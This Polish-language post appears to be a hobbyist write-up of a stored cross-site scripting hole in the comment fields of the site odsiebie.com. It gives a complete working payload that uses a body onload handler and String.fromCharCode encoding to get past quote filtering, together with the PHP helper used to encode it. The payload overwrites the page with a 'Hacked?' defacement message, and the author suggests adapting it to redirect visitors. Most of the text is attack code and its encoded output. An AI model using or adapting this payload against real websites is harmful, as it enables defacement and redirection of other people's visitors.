Ostatnio wszedłem na odsiebie.com , wchodzę na profil, a tam niespodzianka - migający tekst w komentarzu. Ja też tak chciałem! Nie jestem gorszy. Sprawdziłem tag <bind> i działał! Sprawdziłem wreszcie znaczniki <script> i <style>. Niestety nie działały, ale za to nie blokują znacznika <body>. To więc już wiadomo co robić.
Na początek dam wam zastrzyk kodu xss:
Teraz opiszę jak stworzyć taki kod, lecz najpierw powiem, jak do tego doszedłem.
Na początku w komentarzu napisałem:
No i nie działało. Zamieniane quoty ' na " . Lecz można to ominąć porzez funkcję String.fromCharCode, która zamienia numer znaku asci na znak. Pobawiłęm się w php:
Co ten skrypt robi? Przekształca każdy znak w zmiennej $string na odpowiadający kod w tablicy ASCII. Otrzymałem
Usunięcie ostatniego przecinka i stworzenie kodu js, czyli:
No i teraz trzeba było jakoś go wykonać aby automatycznie przy otwarciu strony. To stawiłem do wydarzenia onload znacznika <body>, czyli tak jak powyżej:
No i to wszysko. To jest niebezpieczne dla włascicieli odsiebie.com . Można przekształcić ten kod, by przkierowywał na jakąś inną stronę.
Pozdrowienia!
PS.
Ja tylko zamieszczam informacje - nie wyrządziłem szkód. Nie biorę odpowiedzialności za ten kod!
Na początek dam wam zastrzyk kodu xss:
| <body onload="document.write(String.fromCharCode(60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62)); return false;">Hacked?</body> |
Teraz opiszę jak stworzyć taki kod, lecz najpierw powiem, jak do tego doszedłem.
Na początku w komentarzu napisałem:
| <body onload="document.write('<div style="width:100%; height:100%; background:#FFF">Hacked?</div>');">Hacked?</body> |
| <?php $string = '<div style="width:100%; height:100%; background:#FFF">Hacked? Taa.... Zespół odsiebie.com daje nam za dużo swobody w znacznikach w komentarzach. Zamiast czystego html dajcie bbcode! Pzdr - Naprawcie!</div>'; $array = preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY); foreach($array as $char) print(ord($char).", "); ?> |
Co ten skrypt robi? Przekształca każdy znak w zmiennej $string na odpowiadający kod w tablicy ASCII. Otrzymałem
| 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62, |
Usunięcie ostatniego przecinka i stworzenie kodu js, czyli:
| document.write(String.fromCharCode(60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62); |
No i teraz trzeba było jakoś go wykonać aby automatycznie przy otwarciu strony. To stawiłem do wydarzenia onload znacznika <body>, czyli tak jak powyżej:
| <body onload="document.write(String.fromCharCode(60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62)); return false;">Hacked?</body> |
No i to wszysko. To jest niebezpieczne dla włascicieli odsiebie.com . Można przekształcić ten kod, by przkierowywał na jakąś inną stronę.
Pozdrowienia!
PS.
Ja tylko zamieszczam informacje - nie wyrządziłem szkód. Nie biorę odpowiedzialności za ten kod!